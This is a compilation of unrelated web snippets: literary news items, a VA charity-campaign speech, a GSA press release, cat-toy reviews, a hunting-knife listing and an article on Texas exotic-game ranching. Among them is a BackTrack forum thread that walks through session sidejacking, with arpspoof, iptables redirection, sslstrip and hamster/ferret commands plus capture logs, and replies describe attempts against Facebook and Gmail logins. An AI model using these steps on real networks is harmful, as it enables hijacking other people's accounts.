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On the Shelf
How the Future Dressed in the Past, and Other NewsBy Dan Piepenbring
- The CIA used many strange tools to fight the commies. One of them? Doctor Zhivago. According to a CIA memo, "This book has great propaganda value … not only for its intrinsic message and thought-provoking nature, but also for the circumstances of its publication: we have the opportunity to make Soviet citizens wonder what is wrong with their government, when a fine literary work by the man acknowledged to be the greatest living Russian writer is not even available in his own country in his own language for his own people to read."
- Remembering the poet Ian Hamilton and the New Review, which was, "depending on your point of view, either the best literary periodical of the past fifty years or an elitist folly lavishly bankrolled by the taxpayer."
- In 1893, W. Cade Gall published the "Future Dictates of Fashion," in which he speculated as to the garb of years to come, all the way up to 1993. His conjectures were … wildly inaccurate.
- Difficult-to-parse news item of the day: "A 49-year-old Santa Cruz man died late Thursday night while crossing Mission Street after being struck by a car." "Pretty plucky of him to cross the street after he had been hit, I thought."
- Damien Hirst is writing an autobiography. "It will include a barely known first act—a black and hilarious account of Hirst's youth, growing up in a semi-criminal, often violent milieu, while sharing with his friends an unlikely, but binding passion for art."


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Office of Public and Intergovernmental Affairs
Remarks by Former Deputy Secretary W. Scott Gould
2010 Combined Federal Campaign Kickoff
VA Headquarters
October 19, 2010
Thank you, Sylvia, for that warm introduction. Thank you, Joe Riojas, for taking on the CFC leadership this year.
Good afternoon to our guests and our colleagues—especially our hard-working chairpersons and key-workers.
It's a pleasure to welcome Linda Washington, Senior Policy Advisor for Community Initiatives from the Department of Transportation, to VA to help us kick off our 2010 campaign.
Welcome, also, to Phillip Lynah, our ever-valuable loaned executive from the Department of Health and Human Services. We're delighted you both could join us today, and I look forward to working with you over the coming months to make this year's campaign the best yet for VA, for CFC, and, most importantly, for our fellow citizens who are counting on CFC-funded charities to make a difference in their lives.
Every great cause requires committed and capable leadership, and Assistant Secretary Riojas is shouldering the leadership for VA's 2010 CFC campaign. I can't think of a more selfless and inspiring leader. Thank you, Joe, for taking the helm this year. We topped last year's $800,000 goal by an impressive 122%, reaching a final summit of almost $992,000 in pledges. With your help, inspired by Joe Riojas' spirited leadership, there is no reason we can't reach an even higher pinnacle this year. Our goal of $800,000, will, without a doubt, be met and exceeded.
This year's CFC theme reflects the attributes of the men and women of our Armed Forces serving today, and the 23 million Veterans nationwide who put on our Nation's uniform to protect and preserve our freedom. Their legacy is the enduring strength of the American spirit. That American spirit isn't reserved exclusively for the men and women in uniform on the front lines in Southwest Asia, or protecting our homeland. The American spirit fills our communities, our families, and each one of us, with compassion and a desire to give. The power of that compassion dispels despair and isolation and hopelessness.
The CFC today is known to be the most inclusive workplace giving campaign in the world with the number of participating charities estimated at over 20,000 nonprofit organizations worldwide. Last year, you and your co-workers proved beyond a doubt that you care passionately, that you are generous, and that your commitment to others whose circumstances cry out for assistance extends far beyond your already valuable roles as citizens in service to America's veterans. You are twice a citizen, and our country benefits from your generosity.
Allow me to fall back to my Navy days for an example of just how important your work at CFC will be during the coming months.
When a new Navy ship is ready to take to open water for the first time, there is a "coming alive ceremony," a time-honored tradition where the crew takes up positions throughout the ship showing she is ready to go to sea. Bells are rung, pipes are sounded, and pennants flown to announce to one and all that the engines of a mighty ship are starting up, that power is surging through every fiber of the ship's being, and that she is ready to take her place in the fleet.
When I was in the Navy, I appreciated the Sailors who worked below decks on our warships; from the great aircraft carriers, to the work-a-day oilers and fleet-resupply ships, to the fast-moving destroyers. The men and women who kept the engines and the electronics and galleys running seamlessly were rarely seen above deck. They missed many a beautiful sunrise and sunset, and, in some cases, didn't see the sun at all for days at a time. But, without them, not a single ship would have come alive to sail in harm's way in defense of Freedom; without their crews, the great admirals like Halsey and Nimitz, Spruance and Burke, would have commanded nothing, and they would have achieved no victories.
The CFC is not unlike a ship of the line. Today is the 2010 CFC's Coming Alive Day. Today, we are piping aboard VA's CFC leadership – with an Army General at the helm – and the complement of volunteer crewmembers who are going to help us achieve a great mission — men and women who will work behind the scenes, fueling the engine of CFC's success without seeking the limelight for themselves.
During every CFC season, campaign chairpersons and key-workers fan out across VA's many organizations to encourage all of us to contribute, to participate, to make a difference for the beneficiaries of CFC's noble mission. What they know is that their work touched the lives of tens of thousands of our neighbors, and reached out with compassion to strangers who may never know their names, but whose lives were changed by our giving. They know that those who give also receive. Every single dollar VA employees contributed made our world a better place. We can, and we will, do even better this year.
President John F. Kennedy, under whose administration the CFC got its "Combined" federal mission, once said, "From those to whom much has been given, much is required." Just our ability to participate in this campaign as federal employees, whether for a few dollars a month, or something more, is a sign that we are, indeed, the beneficiaries of a great nation's wealth. There is quite a responsibility in that, and we are blessed with the opportunity to pay forward our good fortune.
These are trying times for so many of our neighbors and fellow citizens; the holidays are approaching, a cold winter is not far away, and uncertainty about tomorrow hovers over the lives of millions of men, women, and children.
I encourage all our VA employees to extend their generosity and lift up CFC's beneficiaries through the "Compassion of Individuals, and the Power of Community."
I look forward to this year's campaign. Once again, my deepest thanks to Joe Riojas, Sylvia Dunn, Linda Washington, Phillip Lynah, our chairpersons and key-workers, and all our VA colleagues who will make this CFC season a true season of thanksgiving.
We have been given much; let us give much in return.
Thank you.

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For more information on the scholarships please refer to either the column to the right or the images shown below.
To donate to any of these Student Scholarship Accounts please send your tax-deductible check payable to:
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The majority of our scholarships are paid as annual awards given at the end-of-year TRFT Graduate Convocation. Most awards are in the range of $100-$500. Recipients are selected by faculty and staff in recognition of significant student accomplishment in the award category. All registered students are eligible. No application is necessary.


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On the Shelf
The Self Resides in the Chest, and Other NewsBy Dan Piepenbring
- "Revenge should have no bounds," the Bard wrote in Hamlet, and one man, at least, vigorously agrees: when a graphic designer in Bristol failed to receive the gaming console he'd bought online, he sought retribution by sending the scammer the complete works of Shakespeare via text message.
- An early photo of Jason Segel portraying David Foster Wallace indicates that Jason Segel does not very much resemble David Foster Wallace.
- Where are you? You are in your chest. Researchers "asked ten blindfolded adults to use a metal pointer to motion at 'themselves.' Most people indicated their upper torso area … 'the torso is, so to speak, the great continent of the body, relative to which all other body parts are mere peninsulas. Where the torso goes, the body follows.'"
- In a new interview, Ralph Steadman discusses, among other things, his old pet sheep: "It was a mutant sheep, but a local farmer was taking it to slaughter. I adopted her, named her Zeno, or him perhaps—does it really matter? It's a sheep, after all … I would go to her in the morning for wisdom, for a philosophic message of what to do with the day."
- John Banville's new novel resurrects Raymond Chandler's beloved private eye, Philip Marlowe, raising the question: "At what point does a work of supposed literary merit simply become fan fiction?"


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You've seen him as a small town criminal along side Thelma and Louise.
He reversed the aging process, striking curiousity around the world…
He was a Vampire long before Twilighters ever hit the stage.
As Tyler Durden's alter ego, he made the rules - "The first rule of fight Club is: you do not talk about Fight Club. The second rule of Fight Club is: you do NOT talk about Fight Club."
Attracting world-wide media attention, he's stirred up a play-ground style Hollywood cat fight: Team Aniston vs Team Jolie, anyone?!
He's outsmarted the Vegas strip with Clooney and Damon, not one, not two, but Eleven, Tweleve, & Thirteen times.
BUT you've never seen Brad Pitt in this light before…
What do you think, does Beckham have a little competition here??


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i feel like between the celtics and the nuggets that one of the teams on a 3 game night will dissapoint. i beleive thatwill be the nuggets. idk why i think that but they both look too easy but the celtics i like due to the rest and they have to keep playing to stay in the race. GL all hope they both hit as everyone is on them in this site
my favorite gambling quote I made up with a buddy i used to cap with
"sometimes its not about knowing what games to bet, its knowing what game not to bet"
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Sac 5 all doggie tonight gl to all
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text: This week's guest is Dave Palmer, a marketing expert at Dunk Tank Marketing, to talk about The Great American Bible Challenge (which is entering its second season on the Game Show Network), and why progressives are reluctant to appear on a show requiring Bible knowledge. He also discusses the challenge of marketing to Christians overall. In [Read More…]


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ok i have backtrack 2 up and running now but now what i wanna do is share this computers internet connection with my other laptop. this has a wireless card then i plug a component cable in the back of this to the other computers network card. does anyone know how to share the internet connection on backtrack(slackware)?
A third party security audit is the IT equivalent of a colonoscopy. It's long, intrusive, very uncomfortable, and when it's done, you'll have seen things you really didn't want to see, and you'll never forget that you've had one.


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i ve managed to install BT3-pre-final on a notebook, dualboot works just cool. Now i booted backtrack and i dont see Restart & Turn off in loguot dialog window.
OK, now i found some settings here: kcontrol : KDE Components->Session Manager
There is an option Offer shutdown options. but was already checked, so u tried uncheck and check, then apply. nothing. i tried to set default operation or whatever is it there own below to set e.i. to Turn off. apply>nothing happened again. i tried restarting KDE between that.. but it looks like ii had no effect at all. nothing changed.
So is there any other way how to fix this up? thx in advance


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GSA Hosts Courthouse Design Forum
June 1, 2007
Contacts: MaryAnneBeatty, (202) 501-1231
Washington, DC – Today the U.S. General Services Administration hosted a national conversation on federal courthouse design under the GSA's award-winning Design Excellence Program. This day-long event included a keynote address from Justice Stephen Breyer, who received special recognition for his passionate advocacy of architecture as a public art relevant to the administration of justice.
"With the federal judiciary being our largest customer, the Design Excellence Program is vital to create appropriate and inspiring federal courthouses in the 21st century that will best meet the needs of the federal judiciary and the American people," said David Winstead, GSA's Commissioner for the Public Buildings Service.
The forum included an assessment of the GSA's courthouse portfolio by Pulitzer Prize-winning architecture critic Robert Campbell, a discussion about the courthouse architecture of our time by Judge Michael Hogan, U.S. District Court for the district of Oregon, and GSA Architecture Fellow Thomas Gordon Smith, as well as panelists discussing the qualities and process for successful courthouses and their costs. These conversations will help foster high performance, state-of-the-art buildings through the Design Excellence Program. GSA buildings are designed to be models of environmental stewardship as well as dignified landmarks in their community.
GSA's Design Excellence Program, now in its second decade, continues to create public buildings that enhance cities and towns, inspire the public, and communicate America's democratic values. Its influence has reached other public agencies and the private sector.
More on GSA's Design Excellence program >
Founded in 1949, GSA serves as a centralized procurement and property management agency for the federal government. GSA manages more than one-fourth of the government's total procurement dollars and influences the management of $500 billion in federal assets, including 8,600 government-owned or leased buildings and 205,000 vehicles. GSA helps preserve our past and define our future, as a steward of more than 425 historic properties, and as manager of USA.gov, the official portal to federal government information and services. GSA's mission to provide superior workplaces, expert technology solutions, acquisition services, purchasing and eGov travel solutions and management policies, at best value, allows federal agencies to focus on their core missions.
Did You Know? That GSA's Design Excellence Program is based on the "Guiding Principles for Federal Architecture" established 45 years ago by President John F. Kennedy.


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Great video, thank you for posting this. I am very interested in trying this out myself.
Well done!
Watch video on-line: http://g0tmi1k.blip.tv/file/3288793
Download video: http://www.mediafire.com/?3pz9w85jd4s328q
What is this?
This videos demos, how to "Session Sidejacking". Sidejacking is where you clone your targets cookies therefore your "sharing" their identity for that account (without ever knowing the username or password)!
What do I need?
> arpspoof
> sslstrip
> Hamster (and Ferret)
*all in BackTrack 4 Final*
Name: arpspoof (DSniff)
Version: 2.3
Home Page: http://www.monkey.org/~dugsong/dsniff/
Download Link: http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz
Name: sslstrip
Version: 0.6
Home Page: http://www.thoughtcrime.org/software...rip/index.html
Download Link: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz
Name: Hamster Sidejacking Tool
Version: 2.0
Home Page: http://hamster.erratasec.com/
Download Link: http://hamster.erratasec.com/downloa...er-2.0.0.tar.z
Notes:Code:echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.1.104 192.168.1.1 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 sslstrip -p -k -f /pentest/sniffers/hamster/ferret -i eth0 /pentest/sniffers/hamster/hamster Konqueror -> Settings -> Configure Konqueror -> Proxy -> Manually. 127.0.0.1:1234 Konqueror -> http://hamster
Song: Soulwax - Bonkers (As Heard On Radio Soulwax Edit)
Video length: 2:39
Capture length: 3:42
Blog Post: http://g0tmi1k.blogspot.com/2010/03/video-session-sidejacking-ferret-and.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/1877-%5Bvideo%5D-session-sidejacking-ferret-hamster.html
Last edited by g0tmi1k; 03-05-2011 at 03:03 PM.
Have you...g0tmi1k?
Great video, thank you for posting this. I am very interested in trying this out myself.
Well done!
Have you been able to do this against a victim logging into facebook/myspace? Just curious, as when I try it it gives a ton of cookies, and none seem to work. Thanks
What software do you use for creating the videos ?
Thanks for sharing, great video, keep going.
I was able to successfully sidejack my facebook account. However, I am having issues with sidejacking gmail. The victim I used was an XP laptop. I tried to login to gmail on the xp machine, the gmail login URL was directed to an unsecured HTTP. In my attempts it just kept forcing me to re-authenticate and I would never get into my gmail to begin with.
Any ideas? Is gmail not allowing unencrypted logins now?
Have you...g0tmi1k?
g0tmilk any idea why i get the message "live(1): LLC:control: unparsed value: 0x4e (78)" when i run the cmd "/pentest/sniffers/hamster/ferret -i wlan0"?
i fixed the LLC error by changing to my alfa card rather then using my internal wireless card..
here is my log:
1st window:
echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:~# arpspoof -i wlan1 -t 192.168.1.107 192.168.1.117
0:c0:ca:37:a8:34 0:0:0:0:0:0 0806 42: arp reply 192.168.1.117 is-at 0:c0:ca:37:a8:34
0:c0:ca:37:a8:34 0:0:0:0:0:0 0806 42: arp reply 192.168.1.117 is-at 0:c0:ca:37:a8:34
2nd window:
root@bt:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
root@bt:~# sslstrip -p -k -f
sslstrip 0.6 by Moxie Marlinspike running...
3rd window: (this is where it starts going wrong i think)
-- Sniffing on interface "wlan1"
SNIFFING: wlan1
LINKTYPE: 1 Ethernet
ID-IP=[192.168.1.117], macaddr=[00:c0:ca:37:a8:34]
ID-MAC=[00:c0:ca:37:a8:34], ip=[192.168.1.117]
Traffic seen
ID-IP=[192.168.1.107], macaddr=[00:23:6c:89:04:73]
ID-MAC=[00:23:6c:89:04:73], ip=[192.168.1.107]
ID-IP=[192.168.1.1], Device="UPnP", LOCATION="http://192.168.1.1:5000/rootDesc.xml"
ID-IP=[192.168.1.1], Device="UPnP", SOFTWARE="Tomato UPnP/1.0 MiniUPnPd/1.4"
ID-IP=[192.168.1.1], Device="UPnP", SERVICE="upnp:rootdevice"
ID-IP=[192.168.1.1], Device="UPnP", SERVICE="urn:schemas-upnp-org:device:InternetGatewayDevice:1"
ID-IP=[192.168.1.1], Device="UPnP", SERVICE="urn:schemas-upnp-org:device:WANConnectionDevice:1"
ID-IP=[192.168.1.1], Device="UPnP", SERVICE="urn:schemas-upnp-org:device:WANDevice:1"
ID-IP=[192.168.1.1], Device="UPnP", SERVICE="urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1"
ID-IP=[192.168.1.1], Device="UPnP", SERVICE="urn:schemas-upnp-org:service:WANIPConnection:1"
ID-IP=[192.168.1.1], Device="UPnP", SERVICE="urn:schemas-upnp-org:service:WANPPPConnection:1"
ID-IP=[192.168.1.1], Device="UPnP", SERVICE="urn:schemas-upnp-org:service:Layer3Forwarding:1"
ID-IP=[192.168.1.1], macaddr=[00:1c:10:11:bc:17]
ID-MAC=[00:1c:10:11:bc:17], ip=[192.168.1.1]
proto="DNS", query="A", ip.src=[192.168.1.117], name="rcv-srv22.inplay.tubemogul.com"
ID-DNS="rcv-srv22.inplay.tubemogul.com", address=[184.108.40.206]
ID-IP=[192.168.1.117], User-Agent="Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.10 (like Gecko) (Debian)"
proto="HTTP", op="GET", Host="rcv-srv22.inplay.tubemogul.com", URL="/StreamReceiver/services"
4th window :
root@bt:~# /pentest/sniffers/hamster/hamster
--- HAMPSTER 2.0 side-jacking tool ---
begining thread
Set browser to use proxy BackTrack Linux
DEBUG: set_ports_option(1234)
DEBUG: mg_open_listening_port(1234)
Proxy: listening on 127.0.0.1:1234
GET /StreamReceiver/services
GET /StreamReceiver/services HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.10 (like Gecko) (Debian)
Accept: text/html, image/jpeg, image/png, text/*, image/*, */*
Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5
Accept-Language: en
Host: rcv-srv22.inplay.tubemogul.com
Connection: close
Referer: http://static.inplay.tubemogul.com/c...erID=B-4SJ-WF8
recv failed: Connection reset by peer
recv failed: Connection reset by peer
i have no idea why it says recv failed: Connection reset by peer...
basically once i got hamster up n running, i proceed to using my 2nd laptop which uses windows 7, i used firefox to log into my gmail account.. then refreshed conquer on my BT4 machine but didnt see the log for that computer in kronquer..
(yes both of my computer r connected to the same network)
hope u can help =)


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ISLAMABAD, (Xinhua): Unidentified terrorists shot dead 13 passengers in Pakistan's restive Balochistan province in an apparent ethnic-motivated attack early Tuesday, police said.
The passengers were heading to eastern Punjab province from Balochistan for "Eid" festival when gunmen stopped two buses and kidnapped some passengers.
The miscreants later shot them dead and threw their bodies in mountains in Bolan district of Balochistan.
All those killed were residents of Punjab province and that their ethnic background could be the cause of the incident.
Insurgents fighting Pakistani forces routinely target non- settlers in Balochistan, officials say.
Police said that the gunmen stopped two passenger coaches heading to Rajanpur in Punjab near the town of Mach late Monday.
They took away nearly two dozen passengers and killed them after checking their identity cards to make sure they were not locals.
Security official said the bodies of the kidnapped were later recovered from nearby mountains.
No group claimed responsibility.
Insurgents have killed non-locals in target attacks in the past.
Balochistan has been under the grip of sectarian violence as banned sectarian groups target Shiite Muslims time to time.
Critics say the law enforcement agencies have failed so far to break the network of banned militant groups.
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'"It would have been a lot nicer if it would have been on game night, but that's the way hockey is now. They have their differences that they have to sort out, and hopefully they'll come to terms soon. I'm pretty neutral. There's both sides at fault."'
Progress with Alumni Plaza, but not NHL lockout
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Russ Kommer comes up with a versatile hunting knife/sheath system.
One of Russ Kommer's favorite custom knife/sheath packages is the 2-Shot™. He has used it daily in the field as a hunting guide in Alaska and around the world. Russ says, "I've always preferred a smaller semi-skinner, even for the biggest of game. You just use the hump near the end of the blade to locate your index finger. And the blade is short enough that you can work inside the animal and feel where you are at all times."
The skinner has a full-tang fixed blade of 12C27 Sandvik stainless steel with stainless steel bolsters, both mirror polished for ease of cleaning. Hand-finished orange G10 handles are fitted with stainless steel pins. Blade length is 3.15".
Russ explains the sheath; "For me, a horizontal sheath makes getting around easier. It doesn't interfere with your rifle or back pack waist strap, and it's not always banging the bush plane, pickup, or fouling the pack horse guide rope. I've been making two-shell custom sheaths for years. I never carry a box of shells out of camp . . . usually just a magazine and the two cartridges in my sheath. They won't rattle around, and the two pockets will handle ammunition from .243 up to .338. No matter what happens, you'll always have those two shells to get you home."
The sheath is convertible for left or right carry.
- Knife:
- 2840: Semi-skinner
- Blade: Length: 3.15" (80 mm)
- Thickness: 0.114" (2.9 mm)
- Steel: 12C27 Sandvik, 59-61 HRC
- Knife: Overall length: 7.30" (185 mm)
- Weight: 3.8 oz. (108 g)
- Sheath:
- 2-Shot Sheath (included with knife)
- Sheath: Overall length: 6.0" (152 mm)
- Width: 3.0" (76 mm)
- Weight: 4.9 oz. (139 g)
Russ Kommer of Fargo, North Dakota, has been a commercial hunting guide since 1980. He started making knives when one of his hunter clients brought a custom knife and dressed an entire moose without sharpening it. He began working with noted Alaskan knifemaker John Shore, who took Russ into his shop and showed him how to grind. He began making his own line of knives in 1997, and his custom catalog shows a range of fixed blade knives, including Bowie and Camp Knives, Fillet Knives, Hunters, Fighters and Boot Knives, all available with a variety of exotic handles and with engraving. He is the designer of the CRKT Bear Claw, Big Eddy, hunting knives including our Pro and Signature Hunters, 30-30, and Surf 'N Turf, plus the Kommer Fulcrum and I.F.B. He says, "I set out to make a quality knife that would perform and be comfortable to handle. I have found knifemaking to be my calling, and would like to thank all the people who have helped me along the way!"
Sheath (included with knife)
Leather is known for its durability and traditional appeal. When compared to Kydex it is preferred for its silence when bumped against other objects, as well as blade retention.
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Feather Attachment for The Cat's Phantom Mouse Teaser. Interchanges with the mouse tail.
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Feathers shedding
By Cat Lady
from Theodore, AL
My cat was not interested in chasing the feather - just watched it go round and round. My dog was more interested in pouncing on it and my dog doesn't like playing with any toys.
Bottom Line No, I would not recommend this to a friend
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By TruKit
from Maryland
My cat Joey loves when I turn this on and she can pounce, jump, run and attack the little pretend mouse tail underneath the cover. It really is a joy watching her play and have such a fantastic time with it.I would buy this again and again because she enjoys it so much.
Bottom Line Yes, I would recommend this to a friend
It was a huge hit!
By Muzzy
from CA
Everything about it is great, except for the "mouse" that pull off easily and the feathers don't last any time at all. I order 5 more attachments because the cats love it so much. However, there must be a way to keep the mouse from pulling off and also the feathers. Da Bird toy's feathers are much more sturdy.
performs well and holds up well.
By Linda
from Chicago
This is an attachment for a cat toy I have. My cat loves it and attacks it with vigor. Eventually the feathers are demolished. The wand comes off sometimes too easily. However the main motor holds up well. I have had the main part for almost a year and highly recommend it.
Definitely a winner!!
By Cat Lover
from Arkansas
My cat finds this attachment a lot more exciting than the one that comes with the Phantom Mouse Teaser. After she gets exhausted from chasing it, she enjoys just lying there afterwards having the feather tickle her paw every time it passes her by. She is definitely IN LOVE!
My Cats Love This Toy
By Lynn in Daytona
from Daytona Beach, FL
My Cats love the Hot Pursuit Cat Toy that this feather attachment fits. They will play for 30 to 45 minutes chasing it. They like the mouse tail but love this feather attachment. It will go to good use at their play time.
cat enjoys it
By Tasha's servant
from PA.
I spend entirely too much time reinserting the wand -- definitely not well constructed in that way. And I only have a small cat -- I can't imagine how someone with a large cat manages. Also, your price for the entire package is $10 more than elsewhere. Much as my cat enjoys it, it is not a good value.
By JD
from Florida
My cats love this toy! Keeps their attention for a long time. I have to put this back on the machine a lot.
Great attachment for the Mouse Teaser
By Peggy
from Richmond, Va.
My cat loves this. She chases it for long periods of time.
Baxter's favorite feather toy
By Mir
from Connecticut
My cats love this feather attachment to the undercover mouse toy.
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AMES, Iowa – Seven students from Iowa attended the Intel International Science and Engineering Fair and two received awards at the May 12-17 event in Phoenix, Ariz. Intel ISEF is part of Society for Science and the Public, a nonprofit organization dedicated to science education and research.
Intel ISEF is the world's largest high school science research competition, with more than 1,500 high school students from more than 70 different countries showcasing their projects. Iowa students Rachel Kim, Sarah Kunch, Abigail Walling, Quinn Groff, Brice Plein, Nick Whitcomb and Lydia Heald attended the competition. Walling and Heald received awards.
Jay Staker, a program specialist for 4-H Science, Technology, Engineering and Math (STEM) with Iowa State University Extension and Outreach, also attended the Intel ISEF. He explained that to be eligible to attend the Intel ISEF, students must qualify by being named finalists at the State Science and Technology Fair at Iowa State University or regional science fairs. Each fair has an allotment of students that can be sent to the Intel ISEF. The Intel ISEF gives students the opportunity to present their projects, submit them for judging by scientists, and meet other students from around the nation and the world with similar aspirations in science and technology.
Science, technology, engineering and math education has long been a part of Iowa State University Extension and Outreach and Iowa 4-H. ISU Extension and Outreach sponsors the State Science and Technology Fair every year, giving students the ability to showcase their projects, and the possibility of competing at the Intel ISEF. "We are working hard to increase the career and academic aspirations in the field of science, engineering, technology and math," said Staker. "We are committed to providing STEM education for the young people of Iowa."
In Phoenix, two Iowa students won awards for their projects showcased at the Intel ISEF. Abigail Walling, 16, was awarded $250 from the Patent and Trademark Office Society and received $500 for a fourth place award in the Microbiology category. Walling is an Iowa City native. Lydia Heald, a 17-year-old from Keosauqua, was awarded a full tuition scholarship to Drexel University for her project. "The whole experience was one of the most amazing experiences I've ever had," said Heald. "The Intel ISEF brings together all aspects of STEM, which I think is a very important part of our education."


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'"I think that was the point during that week I completely recovered, went back to 100 percent, felt good," Hecht said. "It just continued on the ice. I worked hard, and I didn't drop off again. I still feel good."'
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Year-Round Hunting Means Extra Ranch Income
But Handling and Management Require Effort
By Chester Sanders
Published September 2010
The morning mist is clearing the rim-rock and the cold brisk wind in my face is hardly noticeable. Looking for a flash of color, sillhouete or any movement that would quiet my opening day jitters of this mule-deer season, I cant help but be awed as I take in the scenery below,
"Ka-Bloom, thud" the crack of a rifle and the distinctive sound of the bullet finding its target rings out to my right about 300 yards. I quickly put my rifle up and scope my kill sector for any escaped quarry from the lucky devils to the right of me, anxiously awaiting any sign of movement or sound that would allow me an opportunity for a shot. A few minutes later I pack up and head for the other hunters to see what they have downed,
"Hey that doesn't look like any mule-deer I've ever seen," I say.
"Its an aoudad," my father yells out too me.
"A who-dad?" I yell back. An aoudad, it turns out is a big horn sheep from the barbary region of North Africa. It was introduced to the United States in the 1950s when some ranchers from New Mexico decided to augment their hunting wildlife with hopes of bringing in revenue for the state. They thrive in our dry climate and are very adaptable to most regions with rugged terrain and cliffs or rock outcrops.
There is no season on them in West Texas. In the northern Panhandle they have proliferated to the point where a season has been put on them so they can manage them. They are very competitive at feeders and could probably cause a rift in native eco-system if left unchecked.
This was my first experience with exotic game other than seeing them on ranches off the highway, or at a zoo. This poses another question, how many different types of exotics are there in Texas and where can they be found?
I visited with several exotic game ranchers in Central and West Texas to get their input on the welfare and state of exotic wildlife ranching in Texas—Gary Ploch, Ranch Manager of the Patio Ranch in Hunt; Terry Caffey of the Caffey Bar 6 Game Ranch in Eden; Dan Whiteley, head foreman of the Heart of the Lonestar Ranch at Eden; and Chase Akin who operates a successful exotic game ranch near Christoval and a helicopter wildlife capture business.
The Patio Ranch holds the distinguished honor of being the first Exotic Game Ranch in Texas. Established in the 1930s by Richard Friedrich, a businessman in San Antonio. He served as President of the San Antonio Zoological Society, and had a keen interest in wildlife. He purchased several species of exotics from the San Antonio Zoo as they had surplus animals and after high fencing a part of his ranch, an industry that still thrives today was born. The ranch has changed hands many times and is currently owned and operated by the H.E Sturmberg family.
Gary Ploch, ranch manager, says Patio Ranch offers a different hunting experience.
Their hunts can range from one-day hunts to an extended hunting expedition with top chefs who will cook an exquisite meal, top of the line accommodations in the hunting lodge and experienced guides. Ploch says Patio Ranch emphasizes being good stewards of the land, treating the animals with respect and dignity and educating their visitors about the animals.
"We hope that generations to come will be able to enjoy the beauty, gracefulness and majesty of these animals," he adds.
Patio Ranch is currently stocked with addax, aoudads, Arabian oryx, Barashinga deer, blackbuck antelope, eland, fallow deer and sika deer among other species.
The Patio Ranch raises and sells live exotics to other ranches to improve existing herds with quality animals. They can help start ranchers out with their first game-ranch.
The Caffey Bar 6 Game Ranch is located in Eden, Texas. Terry and his wife Bonnie have lived in Eden all their lives. They have been in the exotic game ranching business for 30 years or more. Together with their son, Dale Caffey, they bring 50 years of experience to the game.
Whether you're looking to find out about exotic ranching or want to purchase wild livestock they can put you on the right track.Terry is currently serving as vice president of the Exotic Wildlife Association.
In 1967, a group of concerned ranchers with a vision for the future of the exotic wildlife industry, met to form an organization that later became the EWA. The EWA is now the oldest and most successful wildlife ranching organization in the United States. The association's stated purpose is to preserve the rights of exotic wildlife owners and to promote the development and expansion of the exotic wildlife industry.
Terry was honored in 2005 when he was inducted to EWA's Hall of Fame for his dedication and contributions to this industry. Through years of trial and error, failures and successes, Terry and Dale have learned the DOs and DON'Ts of the exotic game ranching business. They are there to help you if you're thinking of starting a business of your own. They have compiled a list of questions you would want to answer before investing time and money into an exotics venture.:
- How many animals can I put on the amount of land I have?
- What types of animals do best in my region of the country?
- What types of facilities do I need?
- What types of materials can I use to build fencing and how high should it be?
- What do I feed the animals?
- Do I need to supplement animal nutrition based on my range land?
- Do I need water tanks or can I use natural water shed for my animals?
- Are certain grasses better than others for the species of animal that I am raising?
- Can I continue to raise traditional livestock along with exotics on the same land?
- Do I need to "doctor" exotic animals as with traditional livestock?
- When I am ready to sell an animal, how do I catch it?
Terry and Dale can help you answer these questions. They are specialists in every aspect of the business from production and sale of exotic stock to breeding and raising animals for hunting purposes to the harvesting and marketing of wild game livestock for meat sales.
You can visit their web-site address www.CaffeyBar6ExoticGameRanch.com for more information and contacts.
One thing that distinguishes exotics from traditional livestock is the difficulty in handling the animals. Even though they are classified as normal livestock, you have to remember they're still wild animals. There is some argument among exotic ranchers as to the best way to handle the animals. Just like cattle and sheep these animals occasionally need to be worked; at some point they have to be herded and penned. Some ranches have state of the art capture facilities and round up animals using 4-wheelers.This has proven too be fairly efficient, but time consuming, plus you have to have a sizeable crew available.
Another method is shoot the animal with a tranquilizer. There, you run the risk of injury, it's time consuming, and there's a limited number of animals you can work through in a day. A tried and true method is aerial round up and capture with nets.
If you don't happen to own a helicopter you can always hire it done, which is what most ranchers do.
Chase Akin an exotic game rancher in Christoval, Texas, invited us to his ranch to view such an operation. Chase owns and operates a wildlife capture business in addition to running an exotics ranch. He captures and supplies livestock to about 40 ranches throughout Texas.
In mid August we showed up to witness an aerial capture. We arrived about sun-up and after a brief introduction and explanation of what was about to take place, we saw and heard the helicopter coming in.
What seemed to be chaos and confusion was actually well planned and coordinated teamwork between pilot and ground crew. Soon the chopper took off in a whirl of dust and the ground crew went about necessary support tasks, readying the trailer for loading of animals, packing new nets into a short cannon apparatus that fires the nets from the copter and reeling out fuel hoses for the re-fueling of the helicopter on its return.
Soon we heard the wop-wop-wop- of the chopper, we looked up and saw some flying antelopes coming over the horizon. They reminded me of the "Flying Nun," if you remember that TV series. Suspended from a sling apparutus beneath the helicopter were two bull addix, neatly trussed up with hog-ties and net.
The chopper descended effortlessly to the appropriate trailer met by ground crew who quickly delivered animals to safety, picked them up and onto the trailer, untied their feet and secured them, unharmed, into a trailer compartment.
After refueling the "Flight of the Antelope" was again underway. After a few minutes the scenerio was repeated again with no injuries or mishaps.
I visited with Trapper Burkett from Fredericksburg, who provides the ground crew and all the equipment needed for the operation. He's been working with Chase on animal captures for about a year.
"I've been in this business since I was 14 years old," Trapper says. "My father Joe Burkett was one of the first guys to use this method of coordinated work with ground crew and pilots, and we've gotten it down to a science. I think of myself as a modern day cowboy—instead of horses we use helicopters and four-wheelers, and nets instead of lariats."
Dan Whiteley, the foreman on the Heart of The Lonestar Ranch, was very instrumental in this story coming together. He put me in touch with the right people in the telling of this story. When asked what the future holds for this industry, each rancher we talked to had the same sentiments. Gary Plogh says it best, "Treat the animals with dignity and respect be good stewards of the land and these animals will be around for our grandchildren's children."


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- 04/11/2007
